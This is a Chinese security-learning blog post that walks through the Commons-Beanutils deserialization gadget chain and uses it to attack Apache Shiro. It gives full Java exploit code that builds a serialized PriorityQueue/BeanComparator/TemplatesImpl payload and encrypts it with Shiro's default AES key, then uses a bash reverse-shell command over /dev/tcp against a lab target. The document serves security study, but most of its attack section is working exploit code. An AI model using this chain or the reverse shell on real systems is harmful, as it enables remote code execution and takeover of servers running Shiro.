Shiro无依赖链—Commons Beanutils

前言

前面学习了CC6在Shiro当中的应用,但是很多场景没有使用CC依赖,那么还有其他利用方式吗?那就是Commons Beanutils

Commons Beanutils是什么?

Commons-Beanutils是Apache提供的一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。

JavaBean是什么?

在Java中,有很多class的定义都符合这样的规范

  • 若干private实例字段;
  • 通过public方法来读写实例字段。
  • 命名要符合规范,符合骆驼式命名法,比如说属性名为abc,那么get方法为public Type getAbc()set方法为public void setAbc(Type value)

例如:

public class Person {

    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge(){
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

如果读写方法符合这种命名规范,那么这种class被称为JavaBean

写一个简单的demo来调用一下getName()

import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("Le1a",20);
        System.out.println(person.getName());
    }
}

但是这样写有一个弊端,因为每一个都要用这种函数调用的方式,在Commons-Beanutils中提供了一种静态方法PropertyUtils#getProperty,可以让使用者直接调用到任意JavaBean对象中的getter方法,这样就能相对动态的去执行。

这个方法,直接传入一个对象,然后获取这个对象的一个属性值,就会自动的去调用getName()方法。

1647872531022.png

这也就提供了动态执行代码的点,可能会产生安全问题。

利用链分析

我们下个断点调试一下,走到PropertyUtils#getProperty(),这里它又调用了另一个对象的getProperty(),我们继续跟进

1647873346990.png

跟进到了PropertyUtilsBean#getProperty(),然后调用了这个getNestedProperty()

1647873484539.png

然后跟进到下面有一个判断,这里都不满足,所以最后进入这个getSimpleProperty

1647873310191.png

一直跟进到这里,来看一下我们传的是age,返回的就是set方法和get方法的名字,还返回了Bean的属性值的名字。

1647874212066.png

继续往下走,这里获取到一个Method,也就是那个getAge()方法,我们继续跟进

1647874619599.png

然后下面出现了一个反射调用,对我们传递的对象,来调用一个符合JavaBean格式的get方法,然后就走完了。

1647874785696.png

在CC3这条链中,TemplatesImpl中我们提到了getOutputProperties()方法

1647875126810.png

这个方法调用了newTransformer(),他这个格式是符合JavaBean的格式,如果我们对一个TemplatesImpl对象调用这个getOutputProperties()方法,实际上也可以进行代码执行。这就找到了一个在CB下面的代码执行点,当o1是一个TemplatesImpl对 象,而property的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行

package ShiroCB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("Le1a",20);
        //System.out.println(PropertyUtils.getProperty(person,"age"));
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameFiled = tc.getDeclaredField("_name");
        nameFiled.setAccessible(true);
        nameFiled.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        
        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

这段代码就能成功执行Hacker字节码文件里的代码了,前面直接照搬的CC3里面的,这里就成功调用了TemplatesImpl#getOutputProperties()。如果PropertyUtils#getProperty的属性值可控的话,就可以任意执行代码了

接下来就按照构造反序列化链的思路,去找getProperty()的上层,找到了这里的BeanComparator#compare()

1647876814768.png

这个compare()调用了这个getProperty(),这里是可控的。这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不 为空,则用PropertyUtils.getProperty分别取这两个对象的 this.property 属性,比较属性的值。

来看一下谁调用了这里的compare()呢?

1647956229916.png

发现PriorityQueue#siftDownUsingComparator调用了这个BeanComparator#compare()

1647951866995.png

继续往上查找哪里调用了这个PriorityQueue#siftDownUsingComparator()

1647956889199.png

然后找到了PriorityQueue#siftDown()调用了PriorityQueue#siftDownUsingComparator(),然后heapify()又调用了siftDown()

1647951944602.png

最后PriorityQueue#readObject()又调用了heapify(),并且对queue数组进行循环反序列化

1647957234512.png

完整的调用链:

1647957673134.png

构造利用链

首先还是创建TemplateImpl:

byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
byte[][] codes = {code};//恶意类
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes",codes);
setFieldValue(obj, "_name", "aaaa");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后实例化BeanComparator,BeanComparator 构造函数为空时,默认的 property 就是空:

1647951604575.png
final BeanComparator comparator = new BeanComparator();

然后用这个comparator实例化优先队列 PriorityQueue :

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

可见,我们添加了两个无害的可以比较的对象进队列中。 如果this.property为空,则直接比较这两个对象。

这里实际上就是对两个1进行排序,防止初始话的时候出错。后面我们再用反射将 property 的值设置成恶意的outputProperties,用于触发TemplatesImpl#getOutputProperties()

将队列里的两个1中其中一个替换成恶意的 TemplateImpl 对象,另一个替换为随意的一个对象就行(当然也可以都替换为恶意的 TemplateImpl 对象),因为反序列化的时候,对queue数组进行了循环序列化。

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj,obj});

初步CommonsBeanutils1利用链

package ShiroCB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class BeanTest {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
        byte[][] codes = {code};//恶意类
        //CC3
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //CB
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

使用CB链攻击Shiro

前面学习Shiro550的时候,用到的是TemplatesImpl类改造的CC6来攻击的,但是这种情况必须依靠Commons-Collections依赖,实际场景下,目标可能并没有安装Commons-Collections,但是Shiro是需要依赖Commons-Beanutils。这个时候shiro反序列化漏洞就可以使用CommonsBeanutils链来攻击。

尝试直接用刚刚的POC来生成payload去打Shiro

1647961880361.png

发现并没有弹出计算器,这是为什么呢?

原因是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

我们看看哪里用到了ComparableComparator

1647962433827.png
1647962319404.png

BeanComparator类中的有参构造器中调用了这个ComparableComparator类。看到这里就蒙圈了,我们利用链调用的是无参构造啊!!

final BeanComparator comparator = new BeanComparator();

为什么这里会调用到有参构造去了呢?原因是因为无参构造方法里面写的this((String)null),那么相当于就会调用下面那个带参构造方法只不过property为空,当没有显式传入Comparator的情况下,则默认使用ComparableComparator

既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的功能,我们找到一个CaseInsensitiveComparator,这个CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了ComparatorSerializable,且位于Java的核心代码中,兼容性强,是一个完美替代品!

public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
        implements Comparator<String>, java.io.Serializable {
    // use serialVersionUID from JDK 1.2.2 for interoperability
    private static final long serialVersionUID = 8575799808933029326L;

    public int compare(String s1, String s2) {
        int n1 = s1.length();
        int n2 = s2.length();
        int min = Math.min(n1, n2);
        for (int i = 0; i < min; i++) {
            char c1 = s1.charAt(i);
            char c2 = s2.charAt(i);
            if (c1 != c2) {
                c1 = Character.toUpperCase(c1);
                c2 = Character.toUpperCase(c2);
                if (c1 != c2) {
                    c1 = Character.toLowerCase(c1);
                    c2 = Character.toLowerCase(c2);
                    if (c1 != c2) {
                        // No overflow because of numeric promotion
                        return c1 - c2;
                    }
                }
            }
        }
        return n1 - n2;
    }

    /** Replaces the de-serialized object. */
    private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}

我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator

1647963140532.png
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

修改之后生成payload的时候报错了,逆天?!!!

1647963354798.png

原因是我们现在使用的是String.CASE_INSENSITIVE_ORDER类,是一个String类型,而我们下面add()传入的是整型1,所以改为字符类型的"1"就解决了。

最后攻击Shiro的利用链

package ShiroCB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CBAttck {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class"));
        byte[][] codes = {code};//恶意类
        //CC3
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //CB
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
1647963528497.png

最后成功弹出计算器。

靶场试验

vulfocus靶场开一个Shiro环境,然后把之前的恶意字节类中的calc.exe命令改写为

bash -c {echo,Base64编码}|{base64,-d}|{bash,-i}//Base64编码为bash -i >& /dev/tcp/IP/端口 0>&1 的base64编码

然后重新生成恶意的字节码文件,然后重新生成payload

1647964224215.png
1647964257519.png
1647964011910.png

成功反弹Shell!